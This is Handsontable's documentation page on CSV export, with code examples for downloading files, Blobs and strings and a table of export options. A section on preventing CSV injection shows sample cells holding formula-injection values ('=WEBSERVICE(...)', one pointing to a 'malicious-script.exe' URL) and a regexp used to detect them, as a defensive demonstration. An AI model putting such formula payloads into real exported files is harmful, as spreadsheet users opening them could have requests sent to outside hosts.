Skip to content

Export your grid’s raw data to the CSV format, as a downloadable file, a blob, or a string. Customize your export using Handsontable’s configuration options.

Examples

Mind that CSV exports contain only raw data, and don’t include formulas, styling, or formatting information.

Export to file

JavaScript
import Handsontable from 'handsontable/base';
import { registerAllModules } from 'handsontable/registry';
// Register all Handsontable's modules.
registerAllModules();
const container = document.querySelector('#example1');
const hot = new Handsontable(container, {
data: [
['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],
['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],
['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],
['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4'],
['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5'],
['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6'],
['A7', 'B7', 'C7', 'D7', 'E7', 'F7', 'G7'],
],
colHeaders: true,
rowHeaders: true,
hiddenRows: { rows: [1, 3, 5], indicators: true },
hiddenColumns: { columns: [1, 3, 5], indicators: true },
height: 'auto',
autoWrapRow: true,
autoWrapCol: true,
licenseKey: 'non-commercial-and-evaluation',
});
const exportPlugin = hot.getPlugin('exportFile');
const button = document.querySelector('#export-file');
button.addEventListener('click', () => {
exportPlugin.downloadFile('csv', {
bom: false,
columnDelimiter: ',',
columnHeaders: false,
exportHiddenColumns: true,
exportHiddenRows: true,
fileExtension: 'csv',
filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',
mimeType: 'text/csv',
rowDelimiter: '\r\n',
rowHeaders: true,
});
});
TypeScript
import Handsontable from 'handsontable/base';
import { registerAllModules } from 'handsontable/registry';
import { ExportFile } from 'handsontable/plugins';
// Register all Handsontable's modules.
registerAllModules();
const container = document.querySelector('#example1')!;
const hot = new Handsontable(container, {
data: [
['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],
['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],
['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],
['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4'],
['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5'],
['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6'],
['A7', 'B7', 'C7', 'D7', 'E7', 'F7', 'G7'],
],
colHeaders: true,
rowHeaders: true,
hiddenRows: { rows: [1, 3, 5], indicators: true },
hiddenColumns: { columns: [1, 3, 5], indicators: true },
height: 'auto',
autoWrapRow: true,
autoWrapCol: true,
licenseKey: 'non-commercial-and-evaluation',
});
const exportPlugin: ExportFile = hot.getPlugin('exportFile');
const button = document.querySelector('#export-file')!;
button.addEventListener('click', () => {
exportPlugin.downloadFile('csv', {
bom: false,
columnDelimiter: ',',
columnHeaders: false,
exportHiddenColumns: true,
exportHiddenRows: true,
fileExtension: 'csv',
filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',
mimeType: 'text/csv',
rowDelimiter: '\r\n',
rowHeaders: true,
});
});
HTML
<div class="example-controls-container">
<div class="controls">
<button id="export-file">Download CSV</button>
</div>
</div>
<div id="example1"></div>

Export as a JavaScript Blob object

Open a console in browser developer tools to see the result for the below example.

JavaScript
import Handsontable from 'handsontable/base';
import { registerAllModules } from 'handsontable/registry';
// Register all Handsontable's modules.
registerAllModules();
const container = document.querySelector('#example2');
const hot = new Handsontable(container, {
data: [
['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],
['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],
['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],
['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4'],
['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5'],
['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6'],
['A7', 'B7', 'C7', 'D7', 'E7', 'F7', 'G7'],
],
colHeaders: true,
rowHeaders: true,
hiddenRows: { rows: [1, 3, 5], indicators: true },
hiddenColumns: { columns: [1, 3, 5], indicators: true },
height: 'auto',
autoWrapRow: true,
autoWrapCol: true,
licenseKey: 'non-commercial-and-evaluation',
});
const exportPlugin = hot.getPlugin('exportFile');
const button = document.querySelector('#export-blob');
button.addEventListener('click', () => {
const exportedBlob = exportPlugin.exportAsBlob('csv', {
bom: false,
columnDelimiter: ',',
columnHeaders: false,
exportHiddenColumns: true,
exportHiddenRows: true,
mimeType: 'text/csv',
rowDelimiter: '\r\n',
rowHeaders: true,
});
console.log(exportedBlob);
});
TypeScript
import Handsontable from 'handsontable/base';
import { registerAllModules } from 'handsontable/registry';
import { ExportFile } from 'handsontable/plugins';
// Register all Handsontable's modules.
registerAllModules();
const container = document.querySelector('#example2')!;
const hot = new Handsontable(container, {
data: [
['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],
['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],
['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],
['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4'],
['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5'],
['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6'],
['A7', 'B7', 'C7', 'D7', 'E7', 'F7', 'G7'],
],
colHeaders: true,
rowHeaders: true,
hiddenRows: { rows: [1, 3, 5], indicators: true },
hiddenColumns: { columns: [1, 3, 5], indicators: true },
height: 'auto',
autoWrapRow: true,
autoWrapCol: true,
licenseKey: 'non-commercial-and-evaluation',
});
const exportPlugin: ExportFile = hot.getPlugin('exportFile');
const button = document.querySelector('#export-blob')!;
button.addEventListener('click', () => {
const exportedBlob = exportPlugin.exportAsBlob('csv', {
bom: false,
columnDelimiter: ',',
columnHeaders: false,
exportHiddenColumns: true,
exportHiddenRows: true,
mimeType: 'text/csv',
rowDelimiter: '\r\n',
rowHeaders: true,
});
console.log(exportedBlob);
});
HTML
<div class="example-controls-container">
<div class="controls">
<button id="export-blob">Export as a Blob</button>
</div>
</div>
<div id="example2"></div>

Export as a string

Open a console in browser developer tools to see the result for the below example.

JavaScript
import Handsontable from 'handsontable/base';
import { registerAllModules } from 'handsontable/registry';
// Register all Handsontable's modules.
registerAllModules();
const container = document.querySelector('#example3');
const hot = new Handsontable(container, {
data: [
['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],
['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],
['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],
['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4'],
['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5'],
['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6'],
['A7', 'B7', 'C7', 'D7', 'E7', 'F7', 'G7'],
],
colHeaders: true,
rowHeaders: true,
hiddenRows: { rows: [1, 3, 5], indicators: true },
hiddenColumns: { columns: [1, 3, 5], indicators: true },
height: 'auto',
autoWrapRow: true,
autoWrapCol: true,
licenseKey: 'non-commercial-and-evaluation',
});
const exportPlugin = hot.getPlugin('exportFile');
const button = document.querySelector('#export-string');
button.addEventListener('click', () => {
const exportedString = exportPlugin.exportAsString('csv', {
bom: false,
columnDelimiter: ',',
columnHeaders: false,
exportHiddenColumns: true,
exportHiddenRows: true,
rowDelimiter: '\r\n',
rowHeaders: true,
});
console.log(exportedString);
});
TypeScript
import Handsontable from 'handsontable/base';
import { registerAllModules } from 'handsontable/registry';
import { ExportFile } from 'handsontable/plugins';
// Register all Handsontable's modules.
registerAllModules();
const container = document.querySelector('#example3')!;
const hot = new Handsontable(container, {
data: [
['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],
['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],
['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],
['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4'],
['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5'],
['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6'],
['A7', 'B7', 'C7', 'D7', 'E7', 'F7', 'G7'],
],
colHeaders: true,
rowHeaders: true,
hiddenRows: { rows: [1, 3, 5], indicators: true },
hiddenColumns: { columns: [1, 3, 5], indicators: true },
height: 'auto',
autoWrapRow: true,
autoWrapCol: true,
licenseKey: 'non-commercial-and-evaluation',
});
const exportPlugin: ExportFile = hot.getPlugin('exportFile');
const button = document.querySelector('#export-string')!;
button.addEventListener('click', () => {
const exportedString = exportPlugin.exportAsString('csv', {
bom: false,
columnDelimiter: ',',
columnHeaders: false,
exportHiddenColumns: true,
exportHiddenRows: true,
rowDelimiter: '\r\n',
rowHeaders: true,
});
console.log(exportedString);
});
HTML
<div class="example-controls-container">
<div class="controls">
<button id="export-string">Export as a string</button>
</div>
</div>
<div id="example3"></div>

Prevent CSV Injection attack

“CSV Injection, also known as Formula Injection, occurs when websites embed untrusted input inside CSV files. When a spreadsheet program such as Microsoft Excel or LibreOffice Calc is used to open a CSV, any cells starting with = will be interpreted by the software as a formula.” (from OWASP website)

To prevent this attack, set the sanitizeValues option when exporting your data in CSV format.

JavaScript
import Handsontable from 'handsontable/base';
import { registerAllModules } from 'handsontable/registry';
// Register all Handsontable's modules.
registerAllModules();
const container = document.querySelector('#example4');
const hot = new Handsontable(container, {
data: [
['https://handsontable.com', '=WEBSERVICE(A1)'],
['https://github.com', '=WEBSERVICE(A2)'],
['http://example.com/malicious-script.exe', '=WEBSERVICE(A3)'],
],
colHeaders: true,
rowHeaders: true,
height: 'auto',
autoWrapRow: true,
autoWrapCol: true,
licenseKey: 'non-commercial-and-evaluation',
});
const exportPlugin = hot.getPlugin('exportFile');
document.querySelector('#no-sanitization').addEventListener('click', () => {
exportPlugin.downloadFile('csv', {
bom: false,
columnDelimiter: ',',
columnHeaders: false,
exportHiddenColumns: true,
exportHiddenRows: true,
fileExtension: 'csv',
filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',
mimeType: 'text/csv',
rowDelimiter: '\r\n',
});
});
document.querySelector('#recommended-sanitization').addEventListener('click', () => {
exportPlugin.downloadFile('csv', {
bom: false,
columnDelimiter: ',',
columnHeaders: false,
exportHiddenColumns: true,
exportHiddenRows: true,
fileExtension: 'csv',
filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',
mimeType: 'text/csv',
rowDelimiter: '\r\n',
sanitizeValues: true,
});
});
document.querySelector('#regexp-sanitization').addEventListener('click', () => {
exportPlugin.downloadFile('csv', {
bom: false,
columnDelimiter: ',',
columnHeaders: false,
exportHiddenColumns: true,
exportHiddenRows: true,
fileExtension: 'csv',
filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',
mimeType: 'text/csv',
rowDelimiter: '\r\n',
sanitizeValues: /WEBSERVICE/,
});
});
document.querySelector('#function-sanitization').addEventListener('click', () => {
exportPlugin.downloadFile('csv', {
bom: false,
columnDelimiter: ',',
columnHeaders: false,
exportHiddenColumns: true,
exportHiddenRows: true,
fileExtension: 'csv',
filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',
mimeType: 'text/csv',
rowDelimiter: '\r\n',
sanitizeValues: (value) => {
return /WEBSERVICE/.test(value) ? 'REMOVED SUSPICIOUS CELL CONTENT' : value;
},
});
});
TypeScript
import Handsontable from 'handsontable/base';
import { registerAllModules } from 'handsontable/registry';
import { ExportFile } from 'handsontable/plugins';
// Register all Handsontable's modules.
registerAllModules();
const container = document.querySelector('#example4')!;
const hot = new Handsontable(container, {
data: [
['https://handsontable.com', '=WEBSERVICE(A1)'],
['https://github.com', '=WEBSERVICE(A2)'],
['http://example.com/malicious-script.exe', '=WEBSERVICE(A3)'],
],
colHeaders: true,
rowHeaders: true,
height: 'auto',
autoWrapRow: true,
autoWrapCol: true,
licenseKey: 'non-commercial-and-evaluation',
});
const exportPlugin: ExportFile = hot.getPlugin('exportFile');
document.querySelector('#no-sanitization')!.addEventListener('click', () => {
exportPlugin.downloadFile('csv', {
bom: false,
columnDelimiter: ',',
columnHeaders: false,
exportHiddenColumns: true,
exportHiddenRows: true,
fileExtension: 'csv',
filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',
mimeType: 'text/csv',
rowDelimiter: '\r\n',
});
});
document.querySelector('#recommended-sanitization')!.addEventListener('click', () => {
exportPlugin.downloadFile('csv', {
bom: false,
columnDelimiter: ',',
columnHeaders: false,
exportHiddenColumns: true,
exportHiddenRows: true,
fileExtension: 'csv',
filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',
mimeType: 'text/csv',
rowDelimiter: '\r\n',
sanitizeValues: true,
});
});
document.querySelector('#regexp-sanitization')!.addEventListener('click', () => {
exportPlugin.downloadFile('csv', {
bom: false,
columnDelimiter: ',',
columnHeaders: false,
exportHiddenColumns: true,
exportHiddenRows: true,
fileExtension: 'csv',
filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',
mimeType: 'text/csv',
rowDelimiter: '\r\n',
sanitizeValues: /WEBSERVICE/,
});
});
document.querySelector('#function-sanitization')!.addEventListener('click', () => {
exportPlugin.downloadFile('csv', {
bom: false,
columnDelimiter: ',',
columnHeaders: false,
exportHiddenColumns: true,
exportHiddenRows: true,
fileExtension: 'csv',
filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',
mimeType: 'text/csv',
rowDelimiter: '\r\n',
sanitizeValues: (value) => {
return /WEBSERVICE/.test(value) ? 'REMOVED SUSPICIOUS CELL CONTENT' : value;
},
});
});
HTML
<div class="example-controls-container">
<div class="controls">
<button id="no-sanitization">Download CSV with no sanitization</button>
<button id="recommended-sanitization">Download CSV with recommended sanitization</button>
<button id="regexp-sanitization">Download CSV with sanitization using a regexp</button>
<button id="function-sanitization">Download CSV with sanitization using a function</button>
</div>
</div>
<div id="example4"></div>

Available methods

The plugin exposes the following methods to export data.

Each method takes two parameters. The first, format, is required. The second, options, is an optional object that overrides or extends the default export configuration. The table below lists all supported options for CSV export.

Available options in the export configuration

PropertyType / DefaultDescription
bomBoolean, default truePrepend output with BOM (UTF-8). Browser uses EF BB BF.
columnDelimiterString, default ','Column delimiter.
columnHeadersBoolean, default falseInclude column headers. Does not support the NestedHeaders plugin.
exportHiddenColumnsBoolean, default falseInclude hidden columns.
exportHiddenRowsBoolean, default falseInclude hidden rows.
fileExtensionString, default 'csv'File extension. Used by downloadFile().
filenameString, default 'Handsontable [YYYY]-[MM]-[DD]'File name. Placeholders [YYYY], [MM], [DD] are replaced with the current date. Used by downloadFile().
mimeTypeString, default 'text/csv'MIME type. Used by downloadFile() and exportAsBlob().
rangeArray, default []Cell range to export: [startRow, startColumn, endRow, endColumn] (visual indexes).
rowDelimiterString, default '\r\n'Row delimiter.
rowHeadersBoolean, default falseInclude row headers.
sanitizeValuesBoolean | RegExp | Function, default falseValue sanitization. true = OWASP CSV injection rules; RegExp = escape matching values; Function = replace with return value.

Plugins